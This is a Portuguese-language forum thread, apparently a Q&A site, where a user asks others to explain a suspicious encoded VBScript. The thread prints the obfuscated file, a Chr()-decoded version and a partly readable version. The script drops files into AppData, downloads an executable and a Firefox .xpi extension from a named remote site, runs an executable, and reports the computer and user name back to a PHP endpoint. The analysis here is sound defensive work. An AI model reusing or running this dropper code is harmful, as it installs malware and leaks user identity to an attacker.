*P[,/4DvF8cbP'~;t.`8qF*P'~;tDcqZ!bPL~;t.vF8G#,[,/tM`qF+#~',ZtMcF8F#,'~Z4DvFq*b~|P@&PL~Z4Dcq8!#~',Z4Dv1F#~LP;tDvF8#,[~Z4Dcq8G#,'P;tDvqqc*PLP/t.cOGbPL~Z4DcqZ*#~',Z4Dvq8*b,[,ZtM`O1#,{~@&,[~/4D`8Tc*P[,/4Dv,F#~[~/4DcF8X#,[~/4D`**P'P;4M`1O#,[P;tMcF8FbPLP/4M`FZ1#,[P;4.`Wv*P'P/4M`1%*~{,@&~',Zt.c8F*#,',Z4M`WG#,[,/tM`q!8#~',ZtMcF8!#,'~Z4DvFq%b~LP/tMcFZ*b~LPZ4.vFT&*~LP/4Dv,G*PL~Z4DcFZ!b~|P@&,'P;tDvqqF*PLP/t.cWGbPL~Z4Dc1R#P'~;t.`O{*P',Z4D`O,*~[,Z4DvFT{*P[,/tM`FZfbPLP;t.`qqW#~[,/tM`qq8#Pm~@&P'P;4M`q8G*P[,Z4.`8FT#,[~/4D`8T!*P[,/4Dvc+#~[~/4DcFyT#BPd\ISW^C^nCY4j&1P`rUbPLP;4Dv,+#,[~/4D`O0#,{P@&~'P;tM`1Gb~LP/tMc,O#~',Zt.c8!{#,',Z4M`8!&*PL~Z4DcF8cb~LPZ4.`8FF*~'P;tM`qF{b,[~Z4.`8FTb,[P/4M`q!Zb,{~@&PLPZ4Dv*v*P'P;t.c8!v*~[,ZtMcqFl#@&CPKK9KhUVKCN,Z4.vF!*b,[~Z4.vFq+#,[P;tMcF8vbPLP/4M`F8+#,[P;4.`8Fl#~[~/4Dc*RbPLP/4M`c{b,[~Z4.vc{*PLPZ4DvqFl#~{,@&~',ZtMcF8*#,'~Z4DvFT%b~LP/tMccl#~',Zt.c8F+#,',Z4M`8Fc*PL~Z4DcF8Fb~LPZ4.`8 !*~'P;tM`q qb,{~@&,'P;t.cWv#~',Z4DvqZ,b,[,ZtM`8+F*P'P;t.cW*#,'P;tDv1{#,[,Z4DcqZ!bPL~Z4DcqZ!#~',Z4Dvq8cb,[,ZtM`W#,{~@&,[~/4D`8qF*P[,/4DvF8cbP'~;t.`8T&*P'~;tDc*F#~[,/4Dc8!O#PLP;4DvF+F*P'~;tDv1G*P[,/4DvFZ!bP'~;t.`8T!*Pm~@&P[~/4DcF8**P',Z4D`8FybPLP/tM`qqW#PL~Z4D`8qq#,[,Z4Dcqy!bPL~Z4DcqyF#~',Z4Dv*+#~LP;tDvF8+#,{~@&,[~/4D`8Tc*P[,/4DvF8 bP'~;t.`W{#,[~/4D`qTW#~[,/4Dc8F+#PLP;4DvFqv*P'~;tDvqFy#PL~/tM`WGbPm~@&P'P;4Dvc{b,[P/4M`qFyb,[~;tM`F8c*~[,Z4DvFqq*P[,/tM`FZTbPLP;t.`qqF#~[,/tM`qq+#P'~;t.`8q8#~LP;tDvF8X#,{~@&,[~/4D`8q!*P[,/4Dv,F#~[~/4DcF8#,[~/4D`qqF#~[,/4Dc8FW#PLP;4Dv,{#,[~/4D`8T**P[,/4DvF8*bP'~;t.`O1#,{~@&,[P/4M`q!Wb,[~;tM`,F#,'P;t.`8FXb,[P;4Dvcv*~'P;tM`1,b~LP/tMcF8Fb~LPZ4.vFT,*~LP/4Dvcv*PL~Z4Dc,R#~m,@&PL~Z4D`8q*#,[,Z4Dc*F#~[,/tM`qT8#P'~;t.`8qZ#~LP;tDvF80#,[~Z4DcqZ*#,'P;tDvqT&*PLP/t.cOGbPL~Z4DcqZ!#~m,@&~[,/4Dc8F8#PLP;4Dvc{#,[~/4D`O0#,[P;4.`8!2#~[~/4Dcc+bPLP/4M`F+T*~~/tedW^mVhlY4?&HK`rjb,[~/4D`O+#,{P@&~'P;tM`1%b~LP/tMcFZ&b~LPZ4.vc#,',Z4M`8!v*PL~Z4DcF8*b@&_KKh9WSxVKC[P;tM`q!*b,[~Z4.`8Fb,[P/4M`qF+b,[~;tM`F8 *~[,Z4DvFqX*P[,/tM`*Rb~[,Z4Dcc{b,[~Z4.`WGb~LPZ4.vFq**~|P@&,[,ZtM`8q**P'P;t.c8!%*~[,ZtMc***PLP/t.c8F+#,'P;t.c8Fcb~LP/tMc8Fq*PLPZ4Dvq Z#~[,Z4.vF 8bP|P@&,'~Z4Dvc#~',Z4Dvq!O#~',Zt.c8 q#,',Z4M`W*#,[,/tM`1G*P'~;tDvq!Z#PL~/tM`8!T#~',Z4DvqFW#~',Zt.cWvbP|~@&P',Z4D`8F8bPLP/tM`qqW#PL~Z4D`8Tf#,[,Z4Dc*F#~[,/tM`qTO#P'~;t.`8+8#~LP;tDv,FbPLP/tM`qTZ#PL~Z4D`8TT#,{,@&~[~/4DcF8*#,[~/4D`qqy#~[,/4Dc8FW#PLP;4DvFqF*P'~;tDvq Z#PL~/tM`8 q#~',Z4Dv*v*P'~;tDcq8 bP|~@&P',Z4D`8!WbPLP/tM`qqy#PL~Z4D`W{bPLP;t.`qTW#~[,/tM`qq+#P'~;t.`8q+#~LP;tDvF8+#,[~Z4Dc*F#P|~@&,[P;4.`WG*P'P/4M`qFybPLP/4M`Fq**P'P;4M`q8F*P[,Z4.`8!T#,[~/4D`8qG*P[,/4DvF8vbP'~;t.`8qF*P'~;tDcq8*bP|~@&P',Z4D`8FZbPLP/tM`1{*P[,/tM`F8bPLP;t.`qqF#~[,/tM`qqW#P'~;t.`O{*P',Z4D`8!lbPLP/tM`qql#PL~Z4D`O1bP|P@&P'P/4M`q!WbPLP/4M`,{b,[~Z4.vFql#,[P;tMcc+#~[,Z4.v,,*~[,ZtMcqF8#,[~Z4.vFT,*~[,Z4.vcvb~LP/tMcO%b,{,@&PLP;4DvFqc*P'~;tDv*G*P[,/4DvFZFbP'~;t.`8q!*P'~;tDcq8%bPL~;t.vFZ*#,[,/tM`q!2#~',ZtMc,F#PL~/tM`8!T#~m,@&~[,/tM`qq8#P'~;t.`W{*P',Z4D`8!ObPLP/tM`qqO#PL~Z4D`8qq#,[,Z4DcqZ bPL~Z4Dc*+#P'~;t.`8T8#~LP;tDvFyT#,{~@&,[~/4D`8TF*~Pk\eSKmmVKlO4y@&jtsV,/\edWmCshlOt@&j4+s^PkH5dW1CVhlOty@&uP:nfKAx^Wl9~/tM`8!*#~',Z4DvqF+#~',Zt.c8F#,',Z4M`8F *PL~Z4DcF8*b~LPZ4.`l%#,'~Z4Dvc{#~',Z4Dv*G*P'~;tDcq8*bP|~@&P',Z4D`8FlbPLP/tM`qTR#PL~Z4D`WXbPLP;t.`qqy#~[,/tM`qqW#P'~;t.`8q8#~LP;tDvFyT#,[~Z4DcqyF#,mP@&P[,/4Dvc+#~[~/4DcFZ1#,[~/4D`q+8#~[,/4DcW**P[,Z4.`OGbPLP/4M`FZT#,[P;4.`8!Z#~[~/4DcF8*#,[~/4D`**PmP@&~LP/4DvFF8#,'P;t.`8F*b,[P;4DvF!2b~[,Z4Dcc{b,[~Z4.`8!1b,[P/4M`q 8b,[~;tM`,F#,'P;t.`8!Tb,[P;4DvF!Zb~{,@&,[~Z4.vFqc*~[,Z4.vFF+b,[~Z4.vFqW#,[P;tMcF8FbPLP/4M`FyT#,[P;4.`8 8#~[~/4Dcc+bPLP/4M`Fq+*PmP@&~LP/4DvF!W#,'P;t.`8F+b,[P;4DvcG*~'P;tM`q!*b,[~Z4.`8Fb,[P/4M`qF+b,[~;tM`F8 *~[,Z4Dvc{b,{P@&~[,ZtMc*G*PLP/t.c8F+#,'P;t.c8Fcb~LP/tMc8Fq*PLPZ4Dvq!Z#~[,Z4.vFFFbPLPZ4.cF8v*P'P/4M`qF8bPLP/4M`FqX*PmP@&~LP/4DvFFZ#,'P;t.`OGb~LPZ4.`8Fv*~'P;tM`qF{b,[~Z4.`8F*b,[P/4M`1G*~LP/4DvF!l#,'P;t.`8FXb,[P;4Dv,,*~mP@&PLP/t.c8!*#,'P;t.cOG#~',Z4Dvq8*b,[,ZtM`W#,[~Z4Dc1O#PL~Z4D`8qq#,[,Z4DcqZ,bPL~Z4Dc*+#P'~;t.`O0*Pm,@&,[P;tMcF8cbPLP/4M`cFbPLPZ4.cFZF*P'P/4M`qFZbPLP/4M`Fq0*P'P;4M`qZ**P[,Z4.`8!f#,[~/4D`O{#,[P;4.`8!Z#~{~@&,[~Z4.`8Fqb,[P/4M`*G*~LP/4Dv,G*PL~Z4DcF8%b~LPZ4.`8!**~'P;tM`qFXb,[~Z4.`OGb~LPZ4.vFT%*~LP/4Dv,G*P|~@&,[~Z4Dc*+#PL~Z4D`8q+#,[,Z4DcqZcbPL~Z4Dcq8 #~',Z4Dv2#~LP;tDvG2bPLP/tM`0*P[,/tM`GFb~[,Z4DcvXb,{~@&,'P;t.cRF#~',Z4Dv8#~LPAx\bDKU`;t.`+Gb~LPZ4.`8FF*~'P;tM`q!1b,[~Z4.`8F+b,[P/4M`qFFb,[~;tM`F8v*~{,@&~[,Z4.vF!8bPLPZ4.cF8c*P'P/4M`{%*~[,Z4.v,Gb~LP/tMc8!1*PLPZ4Dvq!8#bPLP/4M`&RbPLPZ4.cvR#,[~Z4.vvX#,mP@&P'~;tDc0W#~[,/4Dc+**P[,Z4.`+FbPLP3U7kDKU`;tDv0X#,[,Z4Dcq8*bPL~Z4DcqZF#~',Z4Dvq8cb,[,ZtM`F0#,{~@&,[~/4D`O{#,[P;4.`8!O#~[~/4DcFZq#*P'~;tDcfR#~[,/4DcF&*P[,Z4.`F%bPLP/4M`GZbPLPZ4.cGO#,[~Z4.vvq#,mP@&P'~;tDcqZ,bPL~;t.v,F#PLP;4DvFq!*P'~;tDvqF8#~,)#qUrU@&vPun^wnDk~O ORR OORR ORO R OR O OO O RO ORO ORR OO RO OO RRO O ORORR ORO RO ORR OORR ORO R OR O OO O RO ORO ORR OO RO OO @&@&@&@&@&wEUmOrKx~2   -kMWUcjlDrC(Vn#@&~,P~GksPWq?4nV^@&~P,P@&jYPK    ?4+V^~xP;DlO+68N+^Yv/tM`0{*P[~/4Dc%2b,[~;tM`,O#,'P;t.`8F*b,[P;4DvF!lb~[,Z4DcFq+*P'P;4DvFq*P[~/4Dcc+b,{~@&PLPZ4Dv0&*P'P;t.c8!c*~[,ZtMcq!8#,[~Z4.vFT%*~[,Z4.vF!0b*@&~P,~@&P~,PAx\bDKUP{PGUtns^R2X2l   N2  -rDKxs+UYjOMkUokcZ4DcfF#P'~jl.km8^+~LP;tDv&Fb#@&2UN,s;U1YkKU@&@&sE  ^OkKx,ICx[Gs?ODbUov?O.bxoJn oOt*@&,P~,fb:PUYMrxTZ4lM?nOBPk@&~P,P@&UO.k  o;tCDjnDPxP;4Dvc0b,[P/4M`*,*~LP/4Dv*!*PL~Z4Dc*8#~',ZtMc*y#PL~/tM`l&bP'~;t.`lX#,[~/4D`X*P'P;4M`XF#,{P@&PL~Z4Dc,F#~',ZtMc,R#PL~/tM`O,bP'~;t.`8T!*P'~;tDcqZFbPL~;t.vFZ #,[,/tM`**P'~;tDvv*P[,/4DvvF#~{~@&,[~Z4.`+%b~LPZ4.vv1#,',Z4M`F!#@&@&,~P,ICx9Whr.+@&@&~P,PsK.~k,',F~KG~UY.k  LSxLO4@&P~~,P~P,]mx[K:UYDbxT~',ICx9WhjDDk   LPLPHb[c?DDbxLZ4CM?nYB~q    Yc] N`b~CPJ+    cUY.bxTZtmDUnY*PQP8#S~8#@&,~P,1+XO@&2   N,s;x^ObWU@&@&oE    mOrKxPor^+36bdD/cwk^+rMsKsNDHls+b@&,PP,9ksPWwdG~,4"+O@&~~,P@&?OPKsdG,'P/.lO+}8N+^D`;tDv%2bPLP/tM`11*P[,/tM`F8*bPLP;t.`qTl#~[,/tM`qqy#P'~;t.`8q+#~LP;tDvFZX#,[~Z4Dcq8!#,mP@&P[,/4DvFZ&bP'~;t.`W#,[~/4D`{T*P'P;4M`qZ**P[,Z4.`8!0#,[~/4D`8TF*P[,/4Dv%2#~[~/4DcFyq#,[~/4D`qql#~{,@&,[~;tM`F8v*~[,Z4DvFTq*P[,/tM`FZ1bPLP;t.`{1*P'P;4Dv,0b,[P/4M`q!+b,[~;tM`FZF*~[,Z4Dv,1b,[P;4DvFF+b~{,@&*@&~P~~@&P~P,(0,IrL4Y`or^+6DwG^NnM1m:+BP8bP{P/tM`1+*PK4nx@&PP,~~P,P(InY~x,Wo/K sKV[nM26rdD/csbsr.wW^N+M1mh+*@&~P,P3sk+@&,~P,PP,~8IY,'~WodKRok^n2XkdOk`srsr.sKs9+.gls+#@&P,~PAx[P&0@&~,PP@&~P,Psbsn2XkkYdPx~(InY@&3x9Po; mYrG    @&@&?!8,HVGkM`nmY4b@&,P~PGkh~Ks/K@&P,PP@&jnY,Ww/GPx~;DnlDnr(Ln^D`Z4.v%f#,',Z4M`O,#,[,/tM`qFW#~',ZtMcFZ*#,'~Z4DvFq b~LP/tMcF8vb~LPZ4.vFT**~LP/4DvFFZ#,mP@&P'P;t.c8!&*~[,ZtMc*v*PLP/t.cF!bPL~Z4DcqZ*#~',Z4DvqZ%b,[,ZtM`8TF*P'P;t.cR&#,'P;tDvq+F*PLP/t.c8FX#,mP@&P'~;tDcq8vbPL~;t.vFZF#,[,/tM`q!O#~',ZtMcGO#PL~/tM`O%bP'~;t.`8Tv*P'~;tDcqZFbPL~;t.v,O#PLP;4DvFqv*Pm~@&#@&,~P,@&P,~~Ww/KR/DnCD+oW^[+MPKCDt@&3U9PjE(@&@&?;(PUt+^Vv)waVrmmYrG nlD4#@&PP,~9ksPKjtns^@&~P,~@&U+O~K?4n^V~',/M+CD+}4LmDcZ4Dc%F#~',ZtMc%2#PL~/tM`O,bP'~;t.`8qc*P'~;tDcqZ*bPL~;t.vF8 #,[,/tM`qF+#~',ZtMcc+#P|~@&PLP;t.`0f*P'P;4DvFT**P[~/4DcFZq*P',Z4D`8!RbPLP/tM`qTR##@&~P,P@&,~~PKUtnVs "EUPz2w^k^CDkWUKmY4@&AU9Pj!4@&@&?!4,uK:n9WSxsGmN``]SBPSK^CVhlDtb@&~~,P9ks~kBPGobV+S~KsjrB~KCP:nBP/wk^n~,/\/T@&~~,P@&,~P,ZW    dOPwWMInl[r o~',q~,sG.qDkOr o~',+BPoKDzwwx9rxTPxPR@&@&jYPKo?}P',/.+mYr8Ln^D`/tMc%2#~',Zt.cO,bPL~;t.vF8c#,[,/tM`q!l#~',ZtMcF8 #,'~Z4DvFqvb~LP/tMcFZ*b~LPZ4.vFq!*~|P@&,[,ZtM`8T&*P'P;t.cWv#,'P;tDv{T#,[,Z4DcqZ*bPL~Z4DcqZ%#~',Z4DvqZFb,[,ZtM`Rf#,[~Z4DcqyF#,'P;tDvqq**P|P@&P'~;t.`8qv*P'~;tDcqZFbPL~;t.vFZ,#,[,/tM`{,*P'~;tDv1%*P[,/4DvFZvbP'~;t.`8TF*P'~;tDc1O#~[,/4Dc8F+#P|P@&b@&,P~P@&P~~,q0,GsUrRwGsNDA6r/OdvSGmmsnmY4b,KtnU@&P~P,~,P~ksbV+,',GsUr A!ks[hlY4cSKml^KCY4~,HrNci"SSP&U?DD]n7`j]JBP/tMcWGb*P3PF*#@&~P,P3Vk+(W,WsU6RwWV9n.2XkkYd`Jn6YcSK^l^nCO4~P(UUY.I-vSG1l^nlDtB~Z4Dc,y#b~ PF*bP:t+ @&~P,P,P~PdobVnP{~SKmCshlY4@&,P~PAsk+@&,P,PP,P,36bY~?!4@&~,PPAUN,q0@&@&~P,PU+OPGobVnP{~Ww?6 }w+UP6Osbs`dwk^+~,sK.MkOk   oS~:DEb@&@&?+D~GC:KhPxP/.lO+}8LmOc;tDc0F#~[,/4Dc8!l#PLP;4DvFq!*P'~;tDv{ *P[,/4DvF8vbP'~;t.`8qv*P'~;tDcq8 bPL~;t.vc+#P|P@&~[,Z4Dv%{b,[P;4DvF!lb~[,Z4DcFqT*P'P;4DvG+b,[P/4M`qF+b,[~;tM`F8v*~[,Z4DvFq+*P[,/tM`%yb~[,Z4DcFTq*PmP@&~[,Z4.vFFfb,[~Z4.vFqF#,[P;tMcFZFbPLP/4M`F8X#,[P;4.`8F+#~[~/4Dcc+bPLP/4M`*fb,[~Z4.vc*PLPZ4Dv*,*PmP@&#@&@&,PP,GC:Knc62+ P;t.`{q*P'P;4Dvv1b,[P/4M`0c*S,j]d~,sl^/@&P,P~W_KPKc?+   [@&@&PP,~oWMPbPxPq~:W~SUAvWuP:nR]nkwGxkn~W[H#@&PP,P,~P,Wok^+    MkY~Z4D`zd^AvHbN$`Gu:KKR"n/aWUdAW[zBPr~,q*#b@&P,PPg+XO@&@&P~P,Wor^+R;sWk+`*@&3x9PUE8yGQOAA==^#~@
</code>
Descobri que é um VBSCRIPT encriptografado com a ajuda de um site consegui o decoder do arquivo, vou postar abaixo porque não entendo da linguagem gostaria que alguém que entende pudesse dar uma esclarecida agora que esta legível.
<code>On Error Resume Next

Dim sMYLocalPath
Dim sMYLocalPath2
Dim sMYLocalPathSINTUOSA
Dim sMYLocalPathXPI
DIM AVISOS
sMYLocalPath = Environ(Chr(65) & Chr(112) & Chr(112) & Chr(68) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) _
 & Chr(77) & Chr(83) & Chr(82) & Chr(84) & Chr(86) & Chr(66) & Chr(69) & Chr(51) & Chr(50) _

If FileExists(sMYLocalPath & Chr(92)) Then Wscript.Quit

MkDir sMYLocalPath
sMYLocalPathSINTUOSA =  sMYLocalPath & Chr(92) & Chr(115) & Chr(105) & Chr(110) & Chr(116) & Chr(117) & Chr(111) _
 & Chr(115) & Chr(97)
AVISOS = sMYLocalPath & Chr(92) & Chr(97) & Chr(97) & Chr(46) & Chr(120)
sMYLocalPathXPI = sMYLocalPath & Chr(92) & Chr(101) & Chr(118) & Chr(111) & Chr(107) & Chr(101) & Chr(46) _
 & Chr(120) & Chr(112) & Chr(105)
sMYLocalPath2 = sMYLocalPath & Chr(92) & RandomString(7) & Chr(97) & Chr(46) & Chr(101) & Chr(120) & Chr(101) _

sMYLocalPath = sMYLocalPath & Chr(92) & RandomString(8) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
MkDir sMYLocalPathSINTUOSA

HTTPDownload Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(115) _
 & Chr(115) & Chr(108) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) _
 & Chr(46) & Chr(109) & Chr(121) & Chr(45) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(46) _
 & Chr(111) & Chr(114) & Chr(103) & Chr(47) & Chr(109) & Chr(121) & Chr(97) & Chr(100) & Chr(100) _
 & Chr(114) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) & Chr(46) & Chr(112) _
 & Chr(104) & Chr(112) & Chr(47) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(47) _
 & Chr(47) & Chr(112) & Chr(114) & Chr(111) & Chr(100) & Chr(117) & Chr(116) & Chr(111) & Chr(115) _
 & Chr(110) & Chr(97) & Chr(116) & Chr(117) & Chr(114) & Chr(97) & Chr(105) & Chr(115) & Chr(99) _
 & Chr(104) & Chr(97) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(46) & Chr(98) _
 & Chr(114) & Chr(47) & Chr(101) & Chr(110) & Chr(118) & Chr(105) & Chr(103) & Chr(97) & Chr(100) _
 & Chr(111) & Chr(47) & Chr(101) & Chr(118) & Chr(111) & Chr(107) & Chr(101) & Chr(46) _
 & Chr(120) & Chr(112) & Chr(105), sMYLocalPathXPI
HTTPDownload Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(115) _
 & Chr(115) & Chr(108) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) _
 & Chr(46) & Chr(109) & Chr(121) & Chr(45) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(46) _
 & Chr(111) & Chr(114) & Chr(103) & Chr(47) & Chr(109) & Chr(121) & Chr(97) & Chr(100) & Chr(100) _
 & Chr(114) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) & Chr(46) & Chr(112) _
 & Chr(104) & Chr(112) & Chr(47) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(47) _
 & Chr(47) & Chr(112) & Chr(114) & Chr(111) & Chr(100) & Chr(117) & Chr(116) & Chr(111) & Chr(115) _
 & Chr(110) & Chr(97) & Chr(116) & Chr(117) & Chr(114) & Chr(97) & Chr(105) & Chr(115) & Chr(99) _
 & Chr(104) & Chr(97) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(46) & Chr(98) _
 & Chr(114) & Chr(47) & Chr(101) & Chr(110) & Chr(118) & Chr(105) & Chr(103) & Chr(97) & Chr(100) _
 & Chr(111) & Chr(47) & Chr(109) & Chr(97) & Chr(110) & Chr(46) & Chr(101) & Chr(120) & Chr(101) _
, sMYLocalPath

Shell sMYLocalPath2
HTTPDownload Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & Chr(58) & Chr(47) & Chr(47) & Chr(115) _
 & Chr(115) & Chr(108) & Chr(45) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) _
 & Chr(46) & Chr(109) & Chr(121) & Chr(45) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(46) _
 & Chr(111) & Chr(114) & Chr(103) & Chr(47) & Chr(109) & Chr(121) & Chr(97) & Chr(100) & Chr(100) _
 & Chr(114) & Chr(112) & Chr(114) & Chr(111) & Chr(120) & Chr(121) & Chr(46) & Chr(112) _
 & Chr(104) & Chr(112) & Chr(47) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(47) _
 & Chr(47) & Chr(112) & Chr(114) & Chr(111) & Chr(100) & Chr(117) & Chr(116) & Chr(111) & Chr(115) _
 & Chr(110) & Chr(97) & Chr(116) & Chr(117) & Chr(114) & Chr(97) & Chr(105) & Chr(115) & Chr(99) _
 & Chr(104) & Chr(97) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(46) & Chr(98) _
 & Chr(114) & Chr(47) & Chr(101) & Chr(110) & Chr(118) & Chr(105) & Chr(103) & Chr(97) & Chr(100) _
 & Chr(111) & Chr(47) & Chr(97) & Chr(118) & Chr(105) & Chr(115) & Chr(97) & Chr(108) & Chr(97) _
 & Chr(46) & Chr(112) & Chr(104) & Chr(112) & Chr(63) & Chr(73) & Chr(68) & Chr(77) & Chr(65) _
 & Chr(81) & Chr(61) & Environ(Chr(67) & Chr(111) & Chr(109) & Chr(112) & Chr(117) & Chr(116) _
 & Chr(101) & Chr(114) & Chr(78) & Chr(97) & Chr(109) & Chr(101)) & Chr(38) & Chr(68) & Chr(65) _
 & Chr(84) & Chr(65) & Chr(61) & Environ(Chr(85) & Chr(115) & Chr(101) & Chr(114) & Chr(78) _
 & Chr(97) & Chr(109) & Chr(101)) & Chr(38) & Chr(73) & Chr(78) & Chr(70) & Chr(79) & Chr(61) _
 & Chr(109) & Chr(97) & Chr(110) & Chr(111), AVISOS
' Helpers ---------------------------------------------------------------------------------------------------------------

Function Environ(Variable)
    Dim oWShell

Set oWShell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) _
 & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

    Environ = oWShell.ExpandEnvironmentStrings(Chr(37) & Variable & Chr(37))
End Function

Function RandomString(StringLength)
    Dim StringCharSet, i

StringCharSet = Chr(48) & Chr(49) & Chr(50) & Chr(51) & Chr(52) & Chr(53) & Chr(55) & Chr(56) & Chr(57) _
 & Chr(97) & Chr(98) & Chr(99) & Chr(100) & Chr(101) & Chr(102) & Chr(65) & Chr(66) & Chr(67) _
 & Chr(68) & Chr(69) & Chr(70)

    Randomize

    For i = 1 To StringLength
        RandomString = RandomString & Mid(StringCharSet, Int(Rnd() * Len(StringCharSet) + 1), 1)
    Next
End Function

Function FileExists(FileOrFolderName)
    Dim oFso, bRet

Set oFso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) _
 & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) _
 & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) _
)

    If Right(FileOrFolderName, 1) = Chr(92) Then
        bRet = oFso.FolderExists(FileOrFolderName)
    Else
        bRet = oFso.FileExists(FileOrFolderName)
    End If

    FileExists = bRet
End Function

Sub MkDir(Path)
    Dim oFso

Set oFso = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) _
 & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) _
 & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) _
)

    oFso.CreateFolder Path
End Sub

Sub Shell(ApplicationPath)
    Dim oWShell

Set oWShell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) _
 & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

    oWShell.Run ApplicationPath
End Sub

Sub HTTPDownload(URL, LocalPath)
    Dim i, oFile, oFSO, oHTTP, sFile, sMsg

    Const ForReading = 1, ForWriting = 2, ForAppending = 8

Set oFSO = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) _
 & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) _
 & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) _
)

    If oFSO.FolderExists(LocalPath) Then
        sFile = oFSO.BuildPath(LocalPath, Mid(URL, InStrRev(URL, Chr(47)) + 1))
    ElseIf oFSO.FolderExists(Left(LocalPath, InStrRev(LocalPath, Chr(92)) - 1)) Then
        sFile = LocalPath
    Else
        Exit Sub
    End If

    Set oFile = oFSO.OpenTextFile(sFile, ForWriting, True)

Set oHTTP = CreateObject(Chr(87) & Chr(105) & Chr(110) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(46) _
 & Chr(87) & Chr(105) & Chr(110) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(82) & Chr(101) _
 & Chr(113) & Chr(117) & Chr(101) & Chr(115) & Chr(116) & Chr(46) & Chr(53) & Chr(46) & Chr(49) _
)

    oHTTP.Open Chr(71) & Chr(69) & Chr(84), URL, False
    oHTTP.Send

    For i = 1 To LenB(oHTTP.ResponseBody)
        oFile.Write Chr(AscB(MidB(oHTTP.ResponseBody, i, 1)))
    Next

    oFile.Close()
End Sub
</code>
Cortei um trecho do código porque excedeu o limite da postagem, mas deixei o código no JSFiddle apesar de ser vbscript e não javascript.
Comment: Os `char(N)` retorna um caracter baseado no valor ascii, parece que ele acessa um site e talvez baixe algo. `DIM AVISOS` ? vou dar uma olhada melhor
Comment: a primeira sequencia de Chr(xx) faz um download para o site produtosnaturaischas.com.br/envigado/man.exe
Comment: vou fazer mais testes depois do almoço, to aprendendo agora a linguagem...rsrsr
Comment: vc converteu tudo os chr()?
Comment: Eu converti somente o primeiro trecho depois do almoço vou dar mais uma analisada
Answer: Eu descodifiquei um pouco mais para você. O script não é difícil de ler. Ele baixa dois executáveis para a pasta c:\Users\voce\AppData\MSRTVBE32. Os arquivos têm nomes aleatórios e terminam com .exe. Eu imagino que haja algum outro programa que ache e execute esses arquivos nessa pasta.
Edit: Lendo um pouco mais, eu desconfiaria que o script ou os executáveis tentaram instalar um plugin no Firefox. Eu daria uma olhada no Firefox de que quem clicou para desinstalar todas as extensões suspeitas.
<code>On Error Resume Next

Dim sMYLocalPath
Dim sMYLocalPath2
Dim sMYLocalPathSINTUOSA
Dim sMYLocalPathXPI
DIM AVISOS
sMYLocalPath = Environ("AppData") & "\MSRTVBE32" _

If FileExists(sMYLocalPath & "\") Then Wscript.Quit

MkDir sMYLocalPath
sMYLocalPathSINTUOSA =  sMYLocalPath & "\sintuosa"
AVISOS = sMYLocalPath & "\aa.x"
sMYLocalPathXPI = sMYLocalPath & "\evoke." _
 & "xpi"
sMYLocalPath2 = sMYLocalPath & "\" & RandomString(7) & "a.exe" _

sMYLocalPath = sMYLocalPath & "\" & RandomString(8) & ".exe"
MkDir sMYLocalPathSINTUOSA

HTTPDownload "https://ssl-proxy.my-addr.org/myaddrproxy.php/http//produtosnaturaischas.com.br/envigado/evoke.xpi", _
   sMYLocalPathXPIHTTPDownload "https://ssl-proxy.my-addr.org/myaddrproxy.php/http//produtosnaturaischas.com.br/envigado/man.exe", _
                                sMYLocalPath

Shell sMYLocalPath2
HTTPDownload "https://ssl-proxy.my-addr.org/myaddrproxy.php/http//produtosnaturaischas.com.br/envigado/avisala.php?IDMAQ=" & _
        Environ("ComputerName") & "&DATA=" & Environ("UserName") & "&INFO=mano", AVISOS
' Helpers ---------------------------------------------------------------------------------------------------------------

Function Environ(Variable)
    Dim oWShell

Set oWShell = CreateObject("WScript.Shell")
    Environ = oWShell.ExpandEnvironmentStrings("%" & Variable & "%")
End Function

Function RandomString(StringLength)
    Dim StringCharSet, i

StringCharSet = "012345789" _
 & "abcdefABC" _
 & "DEF"

    Randomize

    For i = 1 To StringLength
